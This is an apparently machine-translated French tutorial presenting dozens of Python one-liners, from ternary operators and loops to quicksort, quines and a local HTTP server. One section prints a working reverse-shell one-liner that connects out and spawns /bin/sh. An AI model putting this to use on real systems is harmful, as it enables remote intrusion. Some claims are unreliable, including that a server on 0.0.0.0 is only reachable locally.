Python >> Tutoriel Python >  >> Python

56 Python One-Liners pour impressionner vos amis

Ceci est un document en cours d'exécution dans lequel je répondrai à toutes les questions concernant la seule ligne de code Python. Il est basé sur ma collection interactive ici mais sans les vidéos lentes et les shells de code intégrés.

Commençons !

Python une ligne si sinon

Vous pouvez utiliser une simple instruction if dans une seule ligne de code. C'est ce qu'on appelle l'opérateur ternaire. L'opérateur ternaire le plus basique x if c else y renvoie l'expression x si l'expression booléenne c évalue à True . Sinon, si l'expression c évalue à False , l'opérateur ternaire renvoie l'expression alternative y .

Voici un exemple minimal :

var = 21 if 3<2 else 42
print(var)
# 42

Ternaire (du latin ternarius ) est un adjectif signifiant "composé de trois éléments" . (source) Ainsi, littéralement, l'opérateur ternaire en Python est composé de trois opérandes.

Syntaxe :Les trois opérandes sont écrits sous la forme x if c else y qui se lit comme "retour x si c sinon renvoie y “. Écrivons cela plus intuitivement comme :

<OnTrue> if <Condition> else <OnFalse>
Opérande Description
L'expression de retour de l'opérateur dans le cas où la condition est évaluée à True
<État> La condition qui détermine s'il faut retourner la branche ou .
L'expression de retour de l'opérateur si la condition est évaluée à False

Tutoriel associé  :L'opérateur ternaire en Python - Tout ce que vous devez savoir

Python One Line Elif

À présent, vous avez appris à écrire l'instruction if-else dans une seule ligne de code à l'aide de l'opérateur ternaire. Mais pouvez-vous faire la même chose avec une instruction elif si vous avez plusieurs conditions ?

Bien sûr vous pouvez! (Si vous ne savez pas si vous pouvez faire XYZ dans une seule ligne de Python, supposez simplement que vous le pouvez. Consultez mon nouveau livre "Python One-Liners" pour maîtriser la seule ligne de code !)

Supposons que vous souhaitiez écrire la condition if-then-else suivante dans une seule ligne de code :

>>> x = 42
>>> if x > 42:
>>>     print("no")
>>> elif x == 42:
>>>     print("yes")
>>> else:
>>>     print("maybe")
yes

La branche elif gagne :vous imprimez la sortie "yes" à la coquille. Mais comment le faire en une seule ligne de code ? Utilisez simplement l'opérateur ternaire avec une instruction elif qui ne fonctionnera pas (cela générera une erreur de syntaxe).

La réponse est simple :imbriquer deux opérateurs ternaires comme ceci :

print("no") if x > 42 else print("yes") if x == 42 else print("maybe")
# yes

Si la valeur x est supérieure à 42, nous imprimons "non" au shell. Sinon, nous exécutons le reste du code (qui est un opérateur ternaire en soi). Si la valeur x est égale à 42, on imprime "oui", sinon "peut-être".

Ainsi, en imbriquant plusieurs opérateurs ternaires, nous pouvons considérablement augmenter la puissance de notre Python one-liner !

Article connexe :Python Ternaire Elif

Vous savez maintenant comment ajouter d'autres conditions à une instruction conditionnelle sur une seule ligne. Une question intéressante est de savoir si vous pouvez également ajouter moins de conditions ?

Python une ligne si sans autre

Problème :Quel est l'équivalent sur une ligne de la simple instruction if sans branche else ?

Voici un exemple :

condition = True

if condition:
    print('hi')

# hi

Vous voudrez peut-être (i) imprimer quelque chose, (ii) attribuer une valeur à une variable, ou (iii) ajouter un élément à une liste si la condition est remplie.

Ensuite, je vais vous montrer quatre méthodes pour atteindre cet objectif. Les quatre méthodes sont généralement applicables et vous pouvez facilement les personnaliser en fonction de votre application spécifique.

Passons rapidement en revue les quatre méthodes :

condition = True

# Simple 2-Liner Method
if condition:
    print('hi')


# Method 1: One-Liner If
if condition: print('hi')


# Method 2: Ternary with Dummy
print('hi') if condition else None


# Method 3: Ternary with Dummy for Assignment
x = 42 if condition else None


# Method 4: Short circuiting
condition and print('hi')

En savoir plus sur ces méthodes dans mon article de blog détaillé.

Fonction Python sur une ligne

La manière la plus Pythonique de définir une fonction sur une seule ligne consiste à (1) créer une fonction lambda anonyme et (2) affecter l'objet fonction à un nom de variable. Vous pouvez ensuite appeler la fonction par son nom comme n'importe quelle autre fonction définie régulièrement. Par exemple, l'instruction f = lambda x: x+1 crée une fonction f qui incrémente l'argument x par un et renvoie le résultat :f(2) renvoie 3 .

Problème :Comment définir une fonction dans une seule ligne de code Python ? Explorons cette question essentielle !

Exemple :Supposons que vous souhaitiez écrire la fonction suivante en une seule ligne de code :

def f(x):
    return str(x * 3) + '!'

print(f(1))
# 3!

print(f('python'))
# pythonpythonpython!

Solution  :Voyons d'abord comment procéder :

##############################
# Method 1: Single-Line Def
##############################
def f1(x): return str(x * 3) + '!'

print(f1(1))
print(f1('python'))

##############################
# Method 2: Lambda Function
##############################
f2 = lambda x: str(x * 3) + '!'

print(f2(1))
print(f2('python'))

##############################
# Method 3: exec()
##############################
f3 = "def f(x):\n    return str(x * 3) + '!'"

exec(f3 + '\nprint(f(1))')
exec(f3 + "\nprint(f('python'))")

Pouvez-vous comprendre la sortie? Vous pouvez vérifier votre compréhension dans l'article suivant :

Article connexe  :3 façons Pythoniques de définir une fonction en une seule ligne [pour les hackers]

Boucle pour une ligne Python

Python est puissant - vous pouvez condenser de nombreux algorithmes en une seule ligne de code Python. Alors la question naturelle se pose :pouvez-vous écrire une boucle for dans une seule ligne de code ? Cet article explore en détail cette question essentielle à la mission.

Comment écrire une boucle For dans une seule ligne de code Python ?

Il existe deux manières d'écrire une boucle for d'une seule ligne :

  • Si le corps de la boucle se compose d'une instruction, écrivez simplement cette instruction dans la même ligne :for i in range(10): print(i) . Cela imprime les 10 premiers chiffres sur le shell (de 0 à 9).
  • Si le but de la boucle est de créer une liste, utilisez plutôt la compréhension de liste :squares = [i**2 for i in range(10)] . Le code met au carré les dix premiers nombres et les stocke dans la liste squares .

Article connexe :Python une ligne pour la boucle

Python une ligne pour la boucle si

Vous pouvez également modifier l'instruction de compréhension de la liste en restreignant le contexte avec une autre instruction if :

Problème :Disons que nous voulons créer une liste de nombres au carré, mais vous ne considérez que les nombres pairs et ignorez les nombres impairs.

Exemple :La méthode multi-lignes serait la suivante.

squares = []

for i in range(10):
    if i%2==0:
        squares.append(i**2)
    
print(squares)
# [0, 4, 16, 36, 64]

Vous créez une liste vide squares et ajouter successivement un autre nombre carré commençant par 0**2 et se terminant par 8**2—mais en ne considérant que les nombres pairs 0, 2, 4, 6, 8. Ainsi, le résultat est la liste [0, 4, 16, 36, 64] .

Solution :Encore une fois, vous pouvez utiliser la compréhension de liste [i**2 for i in range(10) if i%2==0] avec une clause if restrictive (en gras) dans la partie contexte pour compresser cela en une seule ligne de code Python :

print([i**2 for i in range(10) if i%2==0])
# [0, 4, 16, 36, 64]

Cette ligne accomplit la même sortie avec beaucoup moins de bits.

Article connexe :Python une ligne pour boucle avec If

Python une ligne pour la boucle Lambda

Problème :Étant donné une collection. Vous souhaitez créer une nouvelle liste basée sur toutes les valeurs de cette collection. Le code doit s'exécuter sur une seule ligne de code. Comment accomplissez-vous cela? Avez-vous besoin d'une fonction lambda ?

Exemple :Soit un tableau a = [1, 2, 3, 4] . Vous devez créer un deuxième tableau b avec toutes les valeurs de a —tout en ajoutant +1 à chaque valeur. Voici votre multiligne :

a = [1, 2, 3, 4]
b = []
for x in a:
    b.append(x+1)
print(b)
# [2, 3, 4, 5]

Comment y parvenir en une seule ligne de code ?

Répondre :Non, vous n'avez pas besoin d'une fonction lambda. Ce que vous recherchez est une fonctionnalité appelée compréhension de liste. Voici l'expression à une ligne qui accomplit cela sans la fonction lambda :

b = [x+1 for x in a]
print(b)
# [2, 3, 4, 5]

Plongeons-nous dans quelques informations générales au cas où vous vous demanderiez comment fonctionnent les compréhensions de liste. Sur la base de votre question, je soupçonne également que vous ne comprenez pas complètement les fonctions lambda non plus, donc j'ajouterai également une autre section sur les fonctions lambda. Enfin, vous découvrirez également une troisième méthode alternative pour résoudre ce problème exact en utilisant la fonction lambda en combinaison avec la fonction intégrée map() de Python !

Alors, restez avec moi, vous deviendrez un meilleur codeur dans le processus ! 🙂

Article connexe :Python une ligne pour la boucle Lambda

Boucle While Python à une ligne

Il existe trois manières d'écrire une boucle while d'une seule ligne :

  • Méthode 1 :Si le corps de la boucle se compose d'une instruction, écrivez cette instruction dans la même ligne :while True: print('hi') . Cela imprime la chaîne 'hi' au shell tant que vous n'interférez pas ou que votre système d'exploitation met fin à l'exécution de force.
  • Méthode 2 : Si le corps de la boucle se compose de plusieurs instructions, utilisez le point-virgule pour les séparer :while True: print('hi'), print('bye') . Cela exécute les instructions les unes après les autres dans la boucle while.
  • Méthode 3  :Si le corps de la boucle est constitué d'instructions composées imbriquées, remplacez les structures composées internes par l'opérateur ternaire :while True: print('hi') if condition else print('bye' ).
# Method 1: Single-Statement Body
while True:
    print('hi')


# Method 2: Multiple-Statements Body
c = 0
while c < 10: print(c); c = c + 1


# Method 3: Nested Statements Body
while True: print('yes') if True else print('no')

Vous pouvez en savoir plus sur ces méthodes dans notre article de blog détaillé.

Serveur Web HTTP Python One Line

Vous souhaitez créer votre propre serveur Web en une seule ligne de code Python ? Pas de problème, utilisez simplement cette commande dans votre shell :

$ python -m http.server 8000

Le terminal vous dira :

Serving HTTP on 0.0.0.0 port 8000

Pour arrêter votre serveur Web, tuez le programme Python avec CTRL+c .

Cela fonctionne si vous avez Python 3 installé sur votre système. Pour vérifier votre version, utilisez la commande python – version dans ta coquille.

Vous pouvez exécuter cette commande dans votre Windows Powershell, Win Command Line, MacOS Terminal ou Linux Bash Script.

Vous pouvez voir dans la capture d'écran que le serveur s'exécute sur votre hôte local en écoutant sur le port 8000 (le port HTTP standard pour répondre aux requêtes Web).

Remarque  :L'adresse IP n'est PAS 0.0.0.0—il s'agit d'une erreur souvent confondue par de nombreux lecteurs. Au lieu de cela, votre serveur Web écoute votre adresse IP « locale » 127.0.0.1 sur le port 8000. Ainsi, seules les requêtes Web émises sur votre ordinateur arriveront sur ce port. Le serveur Web n'est PAS visible du monde extérieur.

Python 2 :Pour exécuter le même serveur Web simple sur Python 2, vous devez utiliser une autre commande en utilisant SimpleHTTPServer au lieu de http :

$ python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...

Si vous souhaitez démarrer votre serveur Web à partir de votre script Python, pas de problème :

import http.server
import socketserver

PORT = 8000

Handler = http.server.SimpleHTTPRequestHandler

with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print("serving at port", PORT)
    httpd.serve_forever()

Ce code provient de la documentation officielle de Python. N'hésitez pas à en lire plus si vous souhaitez configurer le serveur (la plupart du code est relativement explicite).

Source :Serveur Web Python One-Liner HTTP

Python One Line Write String to File

Problème :Étant donné une chaîne et un nom de fichier. Comment écrire la chaîne dans le fichier avec le nom de fichier en utilisant une seule ligne de code Python ?

Exemple :Vous avez le nom de fichier 'hello.txt' et vous voulez écrire la chaîne 'hello world!' dans le fichier.

hi = 'hello world!'
file = 'hello.txt'

# Write hi in file

'''
# File: 'hello.txt':
hello world!
'''

Comment y parvenir ? Voici quatre façons de le faire en une seule ligne de code !

Solution :Voici un aperçu rapide des méthodes pour y parvenir.

hi = 'hello world!'
file = 'hello.txt'

# Method 1: 'with' statement
with open(file, 'a') as f:
    f.write(hi)

# Method 2: print() function
print(hi, file=open(file, 'a'))

# Method 3: multi-line statement
f = open(file, 'a'); f.write(hi); f.close()

# Method 4: open() and write()
open(file, 'a').write(hi)

Exercice :Exécutez le code et vérifiez le fichier 'hello.txt' . Combien de 'hello worlds!' y en a-t-il dans le dossier ? Modifiez le code afin qu'un seul 'hello world!' est dans le fichier !

Vous pouvez en savoir plus sur ces méthodes dans mon article de blog détaillé !

Quiné à une ligne en Python

La plupart des informaticiens, programmeurs et hackers ne connaissent même pas la signification du mot "Quine" dans le contexte de la programmation. Donc, tout d'abord :

En gros, un quine est un programme auto-reproducteur :si vous l'exécutez, il se génère.

Voici une excellente définition :

 :quin :/kwi:n/ /n./ [du nom du logicien Willard van Orman Quine, via Douglas Hofstadter] Un programme qui génère une copie de son propre texte source comme sortie complète. Concevoir la quine la plus courte possible dans un langage de programmation donné est un amusement hackish courant. (source)

La quine la plus courte possible est le programme vide suivant :

 

Le programme s'auto-reproduit car la sortie du programme est le programme lui-même. Allez-y et exécutez-le dans votre propre shell ! 😉

Voici une courte ligne Quine, que j'ai trouvée sur cette ressource :

s='s=%r;print(s%%s,sep="")';print(s%s,sep="")
  • Vous voudrez peut-être améliorer vos compétences en formatage de chaînes pour vraiment comprendre cette phrase.
  • L'argument séparateur de la fonction d'impression évite d'imprimer un caractère de nouvelle ligne à la fin.
  • Le %r le spécificateur de format fournit automatiquement des guillemets simples.

Pour en savoir plus sur Quines, consultez mon article de blog détaillé :

Article connexe :Quines à une ligne Python

Tri rapide sur une ligne Python

Dans ce didacticiel en une seule ligne, vous découvrirez l'algorithme de tri populaire Quicksort. Étonnamment, une seule ligne de code Python suffit pour écrire l'algorithme Quicksort !

Problème :Soit une liste de valeurs numériques (entier ou flottant). Triez la liste en une seule ligne de code Python à l'aide de l'algorithme populaire Quicksort !

Exemple :Vous avez la liste [4, 2, 1, 42, 3] . Vous souhaitez trier la liste par ordre croissant pour obtenir la nouvelle liste [1, 2, 3, 4, 42] .

Réponse courte  :La solution à une ligne suivante trie la liste de manière récursive à l'aide de l'algorithme Quicksort :

q = lambda l: q([x for x in l[1:] if x <= l[0]]) + [l[0]] + q([x for x in l if x > l[0]]) if l else []

Maintenant, plongeons dans quelques détails !

L'introduction suivante est basée sur mon nouveau livre "Python One-Liners" (Lien Amazon) qui vous enseigne la puissance d'une seule ligne de code (utilisez-la judicieusement) !

Présentation :Quicksort n'est pas seulement une question populaire dans de nombreuses interviews de code - posées par Google, Facebook et Amazon - mais aussi un algorithme de tri pratique qui est rapide, concis et lisible. En raison de sa beauté, vous ne trouverez pas beaucoup d'introductions aux classes d'algorithmes qui ne traitent pas de l'algorithme Quicksort.

Aperçu :Quicksort trie une liste en divisant de manière récursive le gros problème (tri de la liste) en problèmes plus petits (tri de deux listes plus petites) et en combinant les solutions des petits problèmes de manière à résoudre le gros problème. Afin de résoudre chaque problème plus petit, la même stratégie est utilisée de manière récursive :les problèmes plus petits sont divisés en sous-problèmes encore plus petits, résolus séparément et combinés. En raison de cette stratégie, Quicksort appartient à la classe des algorithmes "Divide and Conquer".

Algorithme :L'idée principale de Quicksort est de sélectionner un élément pivot, puis de placer tous les éléments supérieurs ou égaux à l'élément pivot à droite et tous les éléments inférieurs à l'élément pivot à gauche. Maintenant, vous avez divisé le gros problème du tri de la liste en deux sous-problèmes plus petits :trier les partitions droite et gauche de la liste. Ce que vous faites maintenant est de répéter cette procédure de manière récursive jusqu'à ce que vous obteniez une liste avec zéro élément. Cette liste est déjà triée, donc la récursivité se termine.

La figure suivante montre l'algorithme Quicksort en action :

Figure :L'algorithme Quicksort sélectionne un élément pivot, divise la liste en (i) une sous-liste non triée avec tous les éléments inférieurs ou égaux au pivot, et (ii) une sous-liste non triée avec tous les éléments supérieurs au pivot. Ensuite, l'algorithme Quicksort est appelé récursivement sur les deux sous-listes non triées pour les trier. Dès que les sous-listes contiennent au maximum un élément, elles sont triées par définition - la récursivité se termine. À chaque niveau de récursivité, les trois sous-listes (gauche, pivot, droite) sont concaténées avant que la liste résultante ne soit transmise au niveau de récursivité supérieur.

Vous créez une fonction q qui implémente l'algorithme Quicksort dans une seule ligne de code Python - et trie ainsi tout argument donné sous la forme d'une liste d'entiers.

## The Data
unsorted = [33, 2, 3, 45, 6, 54, 33]


## The One-Liner
q = lambda l: q([x for x in l[1:] if x <= l[0]]) + [l[0]] + q([x for x in l if x > l[0]]) if l else []

 
## The Result
print(q(unsorted))

Quelle est la sortie de ce code ?

## The Result
print(q(unsorted))
# [2, 3, 6, 33, 33, 45, 54]

Python une ligne avec déclaration

Problème :Pouvez-vous écrire le with déclaration en une seule ligne de code ?

Solution :Oui, vous pouvez écrire le with instruction en une seule ligne de code si le corps de la boucle ne comporte qu'une seule instruction :

with open('code.py') as code: print(code.read())

En général, vous pouvez écrire n'importe quel bloc d'indentation (comme if déclarations, with environnements, ou while loops) dans une seule ligne de code si le corps se compose d'une seule instruction.

Article connexe :Python une ligne avec instruction

Gestion des exceptions Python sur une ligne

Résumé  :Vous pouvez accomplir une gestion d'exception de ligne avec le exec() solution de contournement en passant le try à une ligne /except bloc sous forme de chaîne dans la fonction comme ceci :exec('try:print(x)nexcept:print("Exception!")') . Cette méthode générale fonctionne pour tous les blocs try et except personnalisés, même multilignes. Cependant, vous devriez éviter ce code à une ligne en raison de sa mauvaise lisibilité.

Étonnamment, il y a eu une discussion sur la gestion des exceptions sur une ligne sur la liste de diffusion Python officielle en 2013. Cependant, depuis lors, il n'y a pas eu de nouvelle fonctionnalité de « gestion des exceptions sur une ligne » dans Python. Nous devons donc nous en tenir aux méthodes présentées dans ce didacticiel. Mais ils seront amusants, promis !

Plongeons dans le problème :

Problème :Comment écrire le bloc try/except dans une seule ligne de code Python ?

Exemple :Considérez le bloc try/except suivant.

try:
    print(x)
except:
    print('Exception!')

Solution :faisons un petit tour d'horizon dans notre shell de code interactif :

# Original
try:
    print(x)
except:
    print('Exception!')

# Method 1
print(x) if 'x' in dir() else print('Exception!')

# Method 2
exec('try:print(x)\nexcept:print("Exception!")')

# Method 3
from contextlib import suppress
with suppress(NameError): print(x)

Article connexe : En savoir plus sur les méthodes de gestion des exceptions sur une ligne dans mon tutoriel de blog détaillé.

Python One Line Exécuter

Problème :étant donné un script de code multiligne en Python. Comment exécuter ce script multi-lignes dans une seule ligne de code Python ? Comment le faire depuis la ligne de commande ?

Exemple :Supposons que vous ayez la boucle for suivante avec une instruction if imbriquée dans le corps de la boucle for. Vous voulez exécuter ceci en une seule ligne depuis votre ligne de commande ?

x = 10
for i in range(5):
    if x%2 == 0:
        print(i)
    else:
        print(x)
    x = x - 1

'''
0
9
2
7
4
'''

Le code affiche cinq nombres sur le shell. Il n'imprime que les valeurs impaires de x . Si x prend une valeur paire, il imprime la variable de boucle i .

Vous pouvez écrire n'importe quel code source dans une chaîne et exécuter la chaîne à l'aide du exec() intégré fonction en Python. C'est peu connu, mais les pirates l'utilisent souvent pour regrouper du code malveillant sur une seule ligne apparemment inoffensive.

Si vous avez du code qui s'étend sur plusieurs lignes, vous pouvez le regrouper dans une chaîne d'une seule ligne en utilisant le caractère de saut de ligne 'n' dans votre chaîne :

# Method 1
exec('x = 10nfor i in range(5):n    if x%2 ==0: print(i)n    else: print(x)n    x = x-1')

Cet extrait de code à une ligne est sémantiquement équivalent à la boucle for imbriquée ci-dessus qui nécessite sept lignes de code ! Le résultat est le même :

'''
0
9
2
7
4
'''

Article connexe :Comment exécuter plusieurs lignes dans une seule ligne Python à partir de la ligne de commande ?

Python One Line Inverse Shell

Voici la définition d'un Reverse Shell :

Une coque inversée est utilisé par les pirates pour accéder à une machine cible. La machine cible ouvre un shell pour communiquer avec la machine attaquante. La machine attaquante reçoit la connexion (écoute sur un port donné) et peut désormais accéder à la machine cible. Pour réaliser un shell inversé, un pirate doit exécuter du code sur une machine cible. Les reverse shells sont également utilisés par les ingénieurs en sécurité pour tester et empêcher les attaques par reverse shell.

J'ai trouvé ce code dans un fil de blog. Vous pouvez l'exécuter à partir de n'importe quel ordinateur sur lequel Python est installé et visible depuis votre emplacement actuel :

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Mais vous ne devez jamais exécuter de code copié-collé à partir d'une source Internet. Que se passe-t-il si le code supprime tous les fichiers de votre ordinateur ?

Vous pouvez lire l'intégralité de l'article sur les attaques shell inversées et les chevaux de Troie en Python ici.

Fichier de lecture d'une ligne Python

Disons que votre fichier est stocké dans le fichier 'code.py' . Maintenant, vous pouvez ouvrir le fichier, lire toutes les lignes, supprimer les caractères d'espacement de début et de fin et stocker le résultat dans une liste Python dans une seule ligne de code. Voici le code :

print([line.strip() for line in open("code.py")])

Python est magnifique ! ?

Article connexe :One-Liner pour lire un fichier en Python

Python One Line Return If

Problème :Comment revenir d'une fonction ou d'une méthode Python en une seule ligne ?

Exemple  :Considérez l'énoncé d'"objectif" suivant :

def f(x):
    return None if x == 0

Cependant, cela conduit à une erreur de syntaxe :

Voici comment écrire l'instruction return avec une expression if dans une seule ligne de code Python :

def f(x):
    if x==0: return None

Je dois noter que PEP 8 convient en fait à l'écriture d'instructions if block sur une seule ligne. Néanmoins, la valeur de retour par défaut d'une fonction est None donc le code ne fait vraiment rien.

Article connexe :Retour Python sur une ligne si

Récursivité Python sur une ligne

Deux façons d'écrire un one-liner récursif : (1) écrivez la fonction avec l'instruction de retour sur une seule ligne, comme dans def f(x): return f(x+1) , ou (2) attribuer une fonction lambda à un nom de variable et utiliser le nom de la variable dans l'expression de retour de la fonction lambda, comme dans f = lambda x: f(x) . Pour définir un cas de base de récursivité, vous pouvez utiliser l'opérateur ternaire x if c else y pour renvoyer x si condition c est remplie, sinon y .

Plongeons-nous dans le problème et plusieurs exemples détaillés !

Problème :Comment écrire une fonction récursive en une seule ligne de code ?

Vous pouvez trouver cela difficile car vous devez définir le nom de la fonction, le cas de base et l'appel de fonction récursif, le tout sur une seule ligne de code Python !

Article connexe :Pour rafraîchir vos compétences générales en récursivité, consultez mon article de blog détaillé (y compris la vidéo).

Voici un aperçu des différents algorithmes, nous avons one-linerized récursivement! 😉


# Method 1: Recursive Fibonacci
def fib(n): return 1 if n in {0, 1} else fib(n-1) + fib(n-2)
print(fib(10))
# 89


# Method 2: Recursive Factorial
def fac(x): return 1 if x<=1 else x * fac(x-1)
print(fac(10))
# 3628800


# Method 3: Recursive Factorial with Lambda
fac = lambda n: 1 if n<=1 else n * fac(n-1)
print(fac(10))
# 3628800


# Method 4: Recursive Quicksort
unsorted = [33, 2, 3, 45, 6, 54, 33]
q = lambda l: q([x for x in l[1:] if x <= l[0]]) + [l[0]] + q([x for x in l if x > l[0]]) if l else []
print(q(unsorted))
# [2, 3, 6, 33, 33, 45, 54]

Plongeons-nous dans chacune de ces méthodes dans cet article de blog !

Regex Python à une ligne

Résumé :Pour correspondre à un pattern dans un text donné en utilisant une seule ligne de code Python, utilisez la ligne import re; print(re.findall(pattern, text)) qui importe la bibliothèque d'expressions régulières re et imprime le résultat du findall() fonction au shell.

Le re.findall(pattern, string, flags=0) La méthode renvoie une liste de correspondances de chaînes. En savoir plus dans notre tutoriel de blog.

# Method 1: findall()
import re; print(re.findall('F.*r', 'Learn Python with Finxter'))
# ['Finxter']

Il n'y a pas de meilleur moyen d'importer le re bibliothèque et en appelant le re.findall() fonction dans une seule ligne de code - vous devez utiliser le point-virgule A;B pour séparer les instructions A et B .

Le findall() La fonction trouve toutes les occurrences du modèle dans la chaîne.

Article connexe  : Correspondance d'expression régulière Python sur une ligne

Python One Line Replace

Problème :Vous utilisez Python dans un terminal et vous souhaitez remplacer une chaîne 'example' dans un fichier texte file.txt :

xxxxx example xxxxx

Votre objectif est d'accomplir le texte suivant :

xxxxx replaced_example xxxxx

En particulier, vous souhaitez ouvrir le fichier, remplacer le texte et réécrire le résultat dans le fichier, le tout sur une seule ligne de code Python !

Une ligne Python peut-elle accomplir cela ?

Solution :Remplacer toutes les occurrences de "example" avec "replaced_example" et imprimez le résultat sur l'entrée standard :

python -c "print(open('file.txt').read().replace('example','replaced_example'))"

La méthode replace remplace toutes les occurrences du premier argument par le second argument. Il renvoie la nouvelle chaîne. Vous pouvez maintenant imprimer le résultat sur le stdin ou le réécrire dans un fichier.

Article connexe  :Remplacement d'une ligne Python

Ternaire à une ligne Python

Ternaire (du latin ternarius ) est un adjectif signifiant "composé de trois éléments" . (source) Ainsi, littéralement, l'opérateur ternaire en Python est composé de trois opérandes.

Syntaxe :Les trois opérandes sont écrits dans une combinaison intuitive ... if ... else ... .

<On True> if <Condition> else <On False>
Opérande Description
L'expression de retour de l'opérateur si la condition est évaluée à True
<État> La condition qui détermine s'il faut retourner la branche ou .
L'expression de retour de l'opérateur si la condition est évaluée à False

Voyons un exemple minimum :

# Define a variable: 
# Input your age when running the code
age = input('Your Age')

# Ternary operator
print('wtf' if age<20 else 'Please, what?')

# What do you say if you don't understand something?
# Try different ages

Découvrez-le en détail (vidéo incluse) ici :Python One Line Ternary

Python Une Ligne Deux Boucles For (Double)

Problème :Comment écrire un for imbriqué boucle en tant que Python one-liner? En gros, vous voulez itérer sur deux itérables ou plus qui sont imbriqués les uns dans les autres. Voici un exemple de multiligne avec deux boucles imbriquées :

iter1 = [1, 2, 3, 4]
iter2 = ['a', 'b', 'c']

for x in iter1:
    for y in iter2:
        print(x, y)

'''
1 a
1 b
1 c
2 a
2 b
2 c
3 a
3 b
3 c
4 a
4 b
4 c
'''

Voici un bref aperçu :

iter1 = [1, 2, 3, 4]
iter2 = ['a', 'b', 'c']

for x in iter1:
    for y in iter2:
        print(x, y)


# Method 1: Nested List Comprehension
[print(x, y) for x in iter1 for y in iter2]

# Method 2: exec()
exec("for x in iter1:\n    for y in iter2:\n        print(x, y)")

# Method 3: For Loop with List Comprehension
for x in iter1: [print(x, y) for y in iter2]

Lire l'intégralité de l'article ici.

Python une ligne deux commandes

Problème :Compte tenu de plusieurs instructions Python. Comment les écrire en Python One-Liner ?

Exemple  :Considérons l'exemple suivant de quatre instructions dans un bloc avec une indentation uniforme :

a = 1
b = 2
c = a + b
print(c)

Chacune des quatre instructions est écrite sur une ligne distincte dans un éditeur de code - c'est la procédure normale. Cependant, que se passe-t-il si vous souhaitez les uniriser :

Comment écrire les quatre instructions en une seule ligne de code ?

Solution :La réponse est simple si toutes les instructions ont une indentation uniforme et qu'il n'y a pas de bloc imbriqué. Dans ce cas, vous pouvez utiliser le point-virgule comme séparateur entre les déclarations :

a = 1; b = 2; c = a + b; print(c)

Article connexe :Comment écrire plusieurs instructions sur une seule ligne en Python ?

Python une ligne à plusieurs lignes

Pour diviser une ligne en plusieurs lignes en Python, utilisez une parenthèse ouvrante dans la ligne que vous souhaitez diviser. Maintenant, Python attend la parenthèse fermante dans l'une des lignes suivantes et l'expression est évaluée à travers les limites de ligne. Comme alternative, vous pouvez également utiliser la barre oblique inverse juste devant le saut de ligne pour échapper au caractère de saut de ligne.

Après avoir publié un article sur la façon de condenser plusieurs lignes en une seule ligne de code Python, de nombreux Finxters ont demandé : Comment diviser une longue ligne en plusieurs lignes en Python ?

Problème :Étant donné une longue ligne de code Python. Comment le diviser en plusieurs lignes ?

Il existe plusieurs façons de diviser cela en plusieurs lignes. Commençons par un aperçu :

##########
# Method 1
##########

a = list(zip(['Alice', 'Bob', 'Liz', 'Ann'], [18, 24, 19, 16]))

b = list(zip(['Alice',
              'Bob',
              'Liz',
              'Ann'],
             [18, 24, 19, 16]))

print(a == b)


##########
# Method 2
##########

a = 1 + 2 + 3 + 4 - 5 * 2

b = 1 \
    + 2 + \
    3 + 4\
    - 5 *\
    2

print(a == b)


##########
# Method 3
##########

s = '''Mistress! what, mistress! Juliet! fast, I warrant her, she:
 Why, lamb! why, lady! fie, you slug-a-bed!
 Why, love, I say! madam! sweet-heart! why, bride!
 What, not a word? you take your pennyworths now;
 Sleep for a week; for the next night, I warrant'''

Vous pouvez vous plonger dans toutes ces méthodes dans mon article de blog ici.

Décodage d'URL Python sur une ligne

L'encodage d'URL "est une méthode pour encoder des informations dans un URI (Uniform Resource Identifier)" . Il est également appelé Encodage en pourcentage car les symboles de pourcentage sont utilisés pour encoder certains caractères réservés :

! # $ % & ' ( ) * + , / : ; = ? @ [ ]
%21 %23 %24 %25 %26 %27 %28 %29 %2A %2B %2C %2F %3A %3B %3D %3F %40 %5B %5D
$ alias urldecode='python3 -c "import sys, urllib.parse as ul; 
    print(ul.unquote_plus(sys.argv[1]))"'

$ alias urlencode='python3 -c "import sys, urllib.parse as ul; 
    print (ul.quote_plus(sys.argv[1]))"'

Voici un exemple d'utilisation :

$ urldecode 'q+werty%3D%2F%3B'
q werty=/;

$ urlencode 'q werty=/;'
q+werty%3D%2F%3B

Source

Article connexe : Méthodes de décodage d'URL

Objet à une ligne Python

Problème :Comment créer un objet Python en une seule ligne de code ? Et comment associer des propriétés personnalisées à cet objet dans la même ligne ?

Exemple  :Supposons que vous vouliez faire quelque chose comme cet extrait de pseudo-code :

var newObject = new({'property' : 'value' })
newObject.property # returns 'value'

Cependant, vous ne pouvez pas faire la même chose en Python car cela créerait un dictionnaire :

new_object = {'property': 'value'}
new_object.property
# raises an AttributeError

Cela lève un AttributeError car il n'y a pas d'attribut property associé à l'objet dictionnaire. Pour accéder à la clé du dictionnaire dans ce cas, vous devez utiliser la syntaxe new_object['property'] .

Alors, comment créer un objet Python en ligne avec des attributs dans une seule ligne de code Python ?

Voici un bref aperçu de nos trois méthodes :

# Method 1
obj_1 = type('obj_1', (object,), {'property': 'value'})()


# Method 2
obj_2 = lambda: None; obj_2.property = 'value'


# Method 3
from collections import namedtuple
obj_3 = namedtuple('obj_3', ['property'])('value')


# Outputs:
print(obj_1.property)
print(obj_2.property)
print(obj_3.property)

Voulez-vous plonger plus en détail dans chacune de ces méthodes ? Lisez cet article :

Article connexe :Comment créer des objets en ligne avec des propriétés ? [Python One-Liner]

Impression sur une ligne Python

Problème :Comment utiliser le print() fonction sans imprimer un caractère de saut de ligne implicite dans le shell Python ?

Exemple :Supposons que vous souhaitiez utiliser le print() fonction dans une boucle for, mais vous ne voulez pas voir plusieurs retours à la ligne entre la sortie imprimée :

for i in range(1,5):
    print(i)

La sortie standard par défaut est la suivante :

1
2
3
4

Mais vous souhaitez obtenir la sortie suivante dans une seule ligne de code Python.

1 2 3 4

Comment y parvenir en Python 3 ?

Solution  :Je vais vous donner la solution rapide dans un shell Python interactif ici :

# FINXTER Repl.it to print an iterable without newline character:
print(*range(1,5))

En lisant la suite, vous comprendrez comment cela fonctionne et deviendrez un meilleur codeur dans le processus.

Article connexe :Comment imprimer sans retour à la ligne en Python

Analyse JSON d'une seule ligne en Python

Problème :Comment analyser un objet JSON en tant que Python One-Liner ?

